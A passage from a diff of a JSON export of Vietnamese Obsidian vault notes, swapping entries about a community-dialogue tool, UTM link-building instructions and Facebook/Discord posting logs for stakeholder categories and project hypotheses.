nó tại\n\n[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, bạn cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra.](https://doi-thoai.deno.dev/hhUT.BUBw.1/ \"Up and Down the Ladder of Abstraction\") Nếu giải pháp đó cần sự đối thoại giữa các bên, bạn cần nhanh chóng tìm lại các cuộc thảo luận đã từng có trước đây và nắm được mức độ quan tâm của các bên liên quan. Tuy nhiên, có vẻ như hiện tại không có giải pháp nào giúp đạt được điều này. Điều này khiến cho các nỗ lực đối thoại với cộng đồng bị tủn mủn, không đạt đủ sự chú ý mà nó xứng đáng có.\n\n\nBằng quan sát cá nhân, chúng tôi thấy dù có rất nhiều tổ chức mong muốn đem lại nhiều đối thoại cho cộng đồng, và ý thức được tầm quan trọng của các bên liên quan và người thụ hưởng, nhưng kết quả thì các cuộc đối thoại vẫn bị tản mát và không có được sự chú ý \n[[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]]\n\n[[Chưa thấy có dự án nào nói về việc làm giảm tải gánh nặng công việc cho người bên cạnh mình]] \n\n[[Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0]]. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng [[Một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì]]. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\nkiếm được các tài nguyên đã được tạo ra bởi các dự án khác, \n\nXem thêm:: [[Xây dựng hệ thống tri thức cộng đồng|Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-21T11:23:00.000Z", - "id": "PQ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pe" }, { - "Tiêu đề": "đối ⊷ thoại", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/đối ⊷ thoại", + "Tiêu đề": "Người có viết plugin", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người có viết plugin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# đối ⊷ thoại\n[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, bạn cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra.](https://doi-thoai.deno.dev/LadderOfAbstraction.đốithoại.1 \"Up and Down the Ladder of Abstraction\") Nếu giải pháp đó cần sự đối thoại giữa các bên, bạn cần nhanh chóng tìm lại các cuộc thảo luận đã từng có trước đây và nắm được mức độ quan tâm của các bên liên quan.\n\nĐể đạt được mục tiêu đó, chương trình này sẽ giúp bạn:\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại\n- Tự động tạo liên kết UTM và rút gọn liên kết đó\n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n\nLiên lạc với chúng tôi để thêm bài đăng và nơi đăng của bạn vào chương trình với số lượng lớn, hoặc tải [mã nguồn](https://doi-thoai.deno.dev/aI.đốithoại.1) để dùng với tên miền và hệ thống của bạn. Trong tương lai chúng tôi cũng sẽ tạo một plugin Obsidian để bạn có thể tạo nội dung chia sẻ ngay trên kho thông tin của mình. Chúng tôi hướng tới việc đem lại [sự tự do và tự trị dữ liệu](https://doi-thoai.deno.dev/local-first.đốithoại.1) cho bạn.\n\nTìm hiểu thêm:\n\n\nSản phẩm khác:\n- [Trấn Kỳ — Phân loại dữ liệu bằng tiếng Việt tự nhiên](https://tranky.deno.dev/?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu](https://quảcầu.cc/cac-buoi-dap-ung-nhu-cau-hoc-cach-su-dung-cong-cu-va-tu-duy-lap-trinh-cho-nhu-cau-ca-nhan-hoac-nghien-cuu?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=Các+buổi+đáp+ứng+nhu+cầu+học+lập+trình&utm_content=&utm_term=)\n- [Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền](https://obsidian.quảcầu.cc/📐%20Dự%20án/Công%20cụ%20cho%20hệ%20sinh%20thái/9%20Blog/Từ%20việc%20lưu%20dữ%20liệu%20tại%20chỗ%20đến%20sự%20hợp%20tác%20đa%20phương%20và%20liên%20ngành%20và%20nền%20kinh%20tế%20không%20dùng%20tiền?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=C1+Công+cụ+cho+hệ+sinh+thái&utm_content=&utm_term=)\n\nViết bởi [Quả Cầu](https://quảcầu.cc/truyen-ngu-ngon-ve-nhung-nguoi-mong-doi?utm_source=doi-thoai.deno.dev+(Trang+chủ)&utm_medium=Website&utm_campaign=Meta&utm_content=&utm_term=).\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PR" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pf" }, { - "Tiêu đề": "Hướng dẫn truyền thông", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Hướng dẫn truyền thông", + "Tiêu đề": "Người tham gia thầm lặng kênh Obsidian tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người tham gia thầm lặng kênh Obsidian tiếng Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu bạn có thời gian thì làm, còn không thì cũng không sao.\n\n# Nội dung giới thiệu\nGiới thiệu chung thì có thể dựa vào [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]], đặc biệt là phần [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền#Liên thông dữ liệu giữa các nhóm dự án|Liên thông dữ liệu giữa các nhóm dự án]], hoặc có thể điều chỉnh tuỳ vào [[4 Các bên liên quan]]\n\n# Link\nTrước tiên bạn cần hiểu mã UTM là gì. Bài chi tiết: [Hướng Dẫn Tạo Mã UTM Nhằm Đo Lường Chính Xác Mức Độ Hiệu Quả Các Chiến Dịch Quảng Cáo - A1 DigiHub](https://a1digihub.com/huong-dan-tao-ma-utm-nham-do-luong-chinh-xac-muc-do-hieu-qua-cac-chien-dich-quang-cao/)\n\n## Hướng dẫn xây dựng UTM\nĐiền vào theo mẫu sau:\n- **Website URL:** link bài viết bạn muốn chia sẻ\n- **Campaign source:** Điền theo cú pháp `Nềntảng: Tênnhóm: Chủđềthảoluận`. Trong đó:\n\t- **Nền tảng** là F nếu là Facebook, R nếu là Reddit, Y nếu là YouTube, F nếu là forum, E nếu là email. Nếu là ở các web khác thì giữ nguyên tên (vd: Spiderum). Nếu bạn gửi trực tiếp tới một người (qua chat, email) thì để chữ I (viết tắt của individual). Nếu bạn không muốn tiết lộ thì để chữ S (secret)\n\t Đặc biệt: Nếu là Facebook thì \n\t- **Tên nhóm:** Nếu bạn đăng trên các nhóm Facebook thì là tên nhóm, trên YouTube thì là tên kênh, nếu là forum thì là tên forum. Nếu gửi cho trực tiếp một người thì là tên người đó. Nếu bạn không muốn tiết lộ thì để chữ S\n\t- **Chủ đề thảo luận**: Chủ đề cuộc thảo luận mà ở đó bài viết trở nên hữu ích. Nếu cuộc thảo luận chính là về bài viết thì bạn để chữ O (original). Nếu bạn không muốn tiết lộ thì để chữ S\n- **Campaign medium:** chọn một trong những mục sau:\n\t- social\n\t- forum\n\t- blog\n\t- vault\n\t- chat\n\t- form\n\t- meeting\n- **Campaing name:** chọn một trong những mục sau:\n\t- Giới thiệu vault\n\t- Trấn Kỳ\n\t- Nói về sự hợp tác\n\t- Bàn luận hiểu biết\n\t- Chia sẻ tài nguyên\n\t- Giới thiệu về Obsidian\n\t- Thảo luận về mạng kết nối nhu cầu\n\t- Khác\n\n## Một số ví dụ\n### Chia sẻ [[🌟 Mở đầu|trang chủ]] thành một bài trong nhóm ABC trên Facebook\n- **Campaign source:** `F G » ABC » O`\n- **Campaign medium:** `social`\n- **Campaign name:** `Giới thiệu vault`\n\n### Chia sẻ trang [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]] khi bình luận về bài DEF trong nhóm ABC trên Facebook\n- **Campaing source:** `F G » ABC » DEF`\n- **Campaign medium:** `social`\n- **Campaign name:** `Nói về sự hợp tác`\n\n### Chia sẻ trang [[💎 Giới thiệu về Obsidian]] khi trả lời bình luận GHI của bài DEF trong nhóm ABC trên Facebook\n- **Campaing source:** `F G » ABC » DEF » GHI`\n- **Campaign medium:** `social`\n- **Campaign name:** `Giới thiệu về Obsidian`\n\n### Chia sẻ [[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]] cho người tên là ABC qua chat\n- **Campaing source:** `ABC`\n- **Campaign medium:** `chat`\n- **Campaign name:** `Bàn luận hiểu biết`\n\n### Chia sẻ trang [[Từ việc lưu dữ liệu tại chỗ đến sự hợp tác đa phương và liên ngành và nền kinh tế không dùng tiền]] trong phiếu đăng ký tham gia chương trình ABC\n- **Campaing source:** `ABC`\n- **Campaign medium:** `form`\n- **Campaign name:** `Nói về sự hợp tác`\n\n### Chia sẻ trang [[💎 Giới thiệu về Obsidian]] khi bình luận về bài DEF trong blog ABC \n- **Campaing source:** `ABC » DEF`\n- **Campaign medium:** `blog`\n- **Campaign name:** `Giới thiệu về Obsidian`\n \n\n\n# Kiểm tra ảnh xem trước của link chia sẻ\n\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-02-12T10:08:00.000Z", - "id": "PS" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pg" }, { - "Tiêu đề": "AGB Saigon Plus", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/AGB Saigon Plus", + "Tiêu đề": "Người tham gia tích cực kênh Obsidian tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người tham gia tích cực kênh Obsidian tiếng Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[06-11]]\n21:27 đăng [[Lời mời xây dựng một startup]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-06T14:28:00.000Z", - "id": "PT" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Ph" }, { - "Tiêu đề": "Discord Obsidian tiếng-Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Discord Obsidian tiếng-Việt", + "Tiêu đề": "Người đã dùng Git mức 1", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Git mức 1", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[03-02]]\n23:53 [Trấn Kỳ đã xong bản web rồi. Mời mọi người ghé thăm](https://discord.com/channels/686053708261228577/944662832585277511/1203021684160860160)\n# [[04-02]]\n16:27 andrey-jef làm đẹp vậy rồi thì mạnh tay phát triển thành 1 dạng plain text accounting luôn đi bạn", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-02-04T10:35:00.000Z", - "id": "PU" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pi" }, { - "Tiêu đề": "Dạy Nhau Học", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Dạy Nhau Học", + "Tiêu đề": "Người đã dùng Git mức 2", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Git mức 2", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[10-11]]\n00:01 đăng [[Phân loại câu nhập]] https://daynhauhoc.com/t/tran-ky-phan-loai-cau-nhap-bang-tieng-viet-tu-nhien/132935\n1:22 đăng https://discord.com/channels/420246254254030856/420467741774839819/1172239739567493251", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-10T07:06:00.000Z", - "id": "PV" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pj" }, { - "Tiêu đề": "Symato", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Symato", + "Tiêu đề": "Người đã dùng Obsidian mức 1", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Obsidian mức 1", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[10-11]]\n01:52 đăng [[Phân loại câu nhập (ngắn)]] https://discord.com/channels/1070551652341403769/1070552849693560893/1172246440471449631\n# [[03-02]]\n00:05 [Lên website rồi nhé bạn](https://discord.com/channels/1070551652341403769/1070552849693560893/1203013060319641620)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-02T17:09:00.000Z", - "id": "PW" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pk" }, { - "Tiêu đề": "Tự học Data", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Kênh chat/Tự học Data", + "Tiêu đề": "Người đã dùng Obsidian mức 2", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo trình độ dùng Obsidian/Người đã dùng Obsidian mức 2", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[10-11]]\n01:55 đăng [[Phân loại câu nhập]] https://discord.com/channels/1124195842820161637/1172243935146545172/1172243935146545172\n# [[03-02]]\nphát hiện bị bot xoá do không ai trả lời trong 3 tháng\n16:25 Đăng lại lần 2 https://discord.com/channels/1124195842820161637/1203268331306754049/1203268331306754049", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-03T09:25:00.000Z", - "id": "PX" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pl" }, { - "Tiêu đề": "Công cụ nghĩ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Công cụ nghĩ", + "Tiêu đề": "5 Giả thuyết", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n### [Obsidian - Second Brain](https://www.facebook.com/groups/obsidian.secondbrain/)\n[[18-06]] 18:32 submit. 18:41 accept\nhttps://www.facebook.com/groups/obsidian.secondbrain/posts/860004316000372/\n22:23 28 react, 3 comment, 6 share\n[[19-06]] 13:34 44 react, 6 comment, 10 share\n\n## [[Các vấn đề của plugin Digital Garden trong việc tạo trang web từ kho]]\n### [Obsidian - Second Brain](https://www.facebook.com/groups/obsidian.secondbrain/)\n[[19-08]] 02:32 https://www.facebook.com/groups/obsidian.secondbrain/posts/896235639043906\n13:08 17 react, 1 comment, 7 share\n[[20-08]] 19:43 24 react, 9 share", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\n\nDựa trên bài viết của bạn, có một số giả thiết cơ bản mà bạn đang sử dụng:\n\n1. **Giả thiết về Hạn chế của Hợp tác Hiện tại:** Bạn giả định rằng mô hình hợp tác hiện tại giữa các nhóm dự án không đạt được hiệu quả tối ưu do sự quá tải và khả năng hạn chế trong việc hiểu biết về nhau.\n\n2. **Giả thiết về Sự Đánh đổi giữa Tự do Dữ liệu và Tiện lợi Hợp tác:** Bạn đề xuất rằng có sự đánh đổi giữa việc tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác. Việc tập trung dữ liệu trên máy chủ có thể làm giảm sự tự do và tự chủ của người sử dụng cuối.\n\n3. **Giả thiết về Hiệu quả của Obsidian:** Bạn giả sử rằng việc sử dụng Obsidian, một công cụ quản lý dự án có triết lý lưu trữ dữ liệu ở local và tập trung vào liên kết, có thể giải quyết một số vấn đề liên quan đến hiệu suất và sự hợp tác.\n\n4. **Giả thiết về Mối quan hệ giữa Dữ liệu và Hợp tác:** Bạn đề xuất rằng việc có được một môi trường dữ liệu trong đó thông tin tự động hiển thị và không cần phải liên hệ trực tiếp có thể thúc đẩy sự hợp tác hiệu quả hơn.\n\n5. **Giả thiết về Hướng phát triển của Hệ sinh thái:** Bạn giả sử rằng việc xây dựng một mô hình hợp tác sử dụng Obsidian và tạo nền kinh tế không dùng tiền có thể thúc đẩy sự phát triển và hỗ trợ Mục tiêu Phát triển Bền vững.\n\nNhững giả thiết này là cơ sở lý luận của bài viết và có thể được phát triển và chứng minh thông qua các ví dụ cụ thể và nghiên cứu hỗ trợ.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-20T12:43:00.000Z", - "id": "PY" + "Ngày tạo": "2023-10-28T06:04:00.000Z", + "Ngày cập nhật": "2023-12-26T11:29:00.000Z", + "id": "Pm" }, { - "Tiêu đề": "Data-driven", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Data-driven", + "Tiêu đề": "Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Pending\n[[09-02]] Cộng đồng Data-Driven Marketing & Communication https://www.facebook.com/groups/574219986758276/my_pending_content\nCộng đồng Data-Driven Sales Strategy https://www.facebook.com/groups/576617096346587/my_pending_content\n\n", + "Toàn bộ nội dung": "Chỉ Obsidian mới có thể giúp liên thông dữ liệu một cách dễ dàng nhất\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-16T12:51:00.000Z", - "id": "PZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pn" }, { - "Tiêu đề": "ERP, no code", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/ERP, no code", + "Tiêu đề": "Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Các dự án có lợi nhuận không quan tâm đến các nhu cầu khác của nhóm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n[[08-02]] NoCode Việt Nam https://www.facebook.com/groups/249078479651557/my_pending_content)\n\n## Low code to No code VN (Power Apps, AppSheet...) \n[[08-02]] 22:29 https://www.facebook.com/groups/lowcode2nocode/posts/1118954585964630/\n[[15-02]] 09:01 8 react, 2 share", + "Toàn bộ nội dung": "# Dữ liệu\nLúc đăng ảnh [[Mối quan tâm chung.jpeg]] lên nhóm [[Product Maker Vietnam]] chỉ có 3 người react\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-15T02:01:00.000Z", - "id": "Pa" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:00:00.000Z", + "id": "Po" }, { - "Tiêu đề": "Excel, AppScript", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Excel, AppScript", + "Tiêu đề": "Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Câu hỏi khảo sát#Làm sao để tự động phân loại dữ liệu trên Excel, AppScript?]]\n\n## Pending\n[[15-02]] CỘNG ĐỒNG KẾ TOÁN EXCEL https://www.facebook.com/groups/724744197684526/my_pending_content\n## Nhóm Thủ thuật Excel\n[[15-02]] 14:44 https://www.facebook.com/groups/groupthuthuatexcel/posts/1685151288687404 \n2 react\n## Giải Pháp Excel - Google Sheets - Google AppSheet \nhttps://www.facebook.com/groups/emssolution/posts/3719557414995537\n3 react, 3 comment \n\n# [[Tạo tệp Excel tự động để nhập khẩu vào các phần mềm kế toán]]\n[[24-02]] CỘNG ĐỒNG KẾ TOÁN EXCEL https://www.facebook.com/groups/724744197684526/my_pending_content", + "Toàn bộ nội dung": "Các tổ chức trong lúc mới hình thành rất mong có ai kết nối giùm\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-24T15:17:00.000Z", - "id": "Pb" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-11-08T08:05:00.000Z", + "id": "Pp" }, { - "Tiêu đề": "Fintech, tài chính cá nhân", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Fintech, tài chính cá nhân", + "Tiêu đề": "Giả thiết về đối tượng thụ hưởng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Giả thiết về đối tượng thụ hưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại chi tiêu]]\n## Pending\n[[08-02]] Tài chính cá nhân 4.0 https://www.facebook.com/groups/447203889631625/my_pending_content\n\n## Money Mom Sharing - Tài chính cá nhân & Nghề tay trái cho mẹ Việt\nko hiểu chia sẻ xong vào my_pending_content ko thấy nó ở mục nào hết?\n\n## Mẹ tối giản - Nhà gọn gàng\n[[08-02]] https://www.facebook.com/groups/1765973107210218/my_pending_content/\n\n## Cộng đồng Tài chính cá nhân Việt Nam \n[[15-02]] 09:21 https://www.facebook.com/groups/fidt.congdongtaichinhcanhanvietnam/posts/1463087404241440/\nvừa được duyệt đã bị xoá?\n\n## TÀI CHÍNH CÁ NHÂN & TỰ DO TÀI CHÍNH\n28/12 https://www.facebook.com/groups/phufm/posts/3593444954234211\n7/2 0 0 0 \n## QUẢN LÝ TÀI CHÍNH CÁ NHÂN \n[[07-02]] 22:25 https://www.facebook.com/groups/chienluocchitieu/posts/3573297832909772/\n## Nghiện năng suất 🧠 | namanhsuit\n[[07-02]] 23:38 https://www.facebook.com/groups/300325712482115/posts/397367986111220/\n[[15-02]] 09:03 7 react\n", + "Toàn bộ nội dung": "- Cảm thấy sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu, dù họ có nhiều nỗ lực\n- Cảm thấy quá nhiều việc \n- Cảm thấy không thời gian để hiểu về nhau\n- C\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-15T03:17:00.000Z", - "id": "Pc" + "Ngày cập nhật": "2023-12-26T11:29:00.000Z", + "id": "Pq" }, { - "Tiêu đề": "Khoa học dữ liệu", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu", + "Tiêu đề": "Người dùng sử dụng dễ dàng Obsidian", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/5 Giả thuyết/Người dùng sử dụng dễ dàng Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[Phân loại câu nhập]]\n## Pending\n## Phân tích 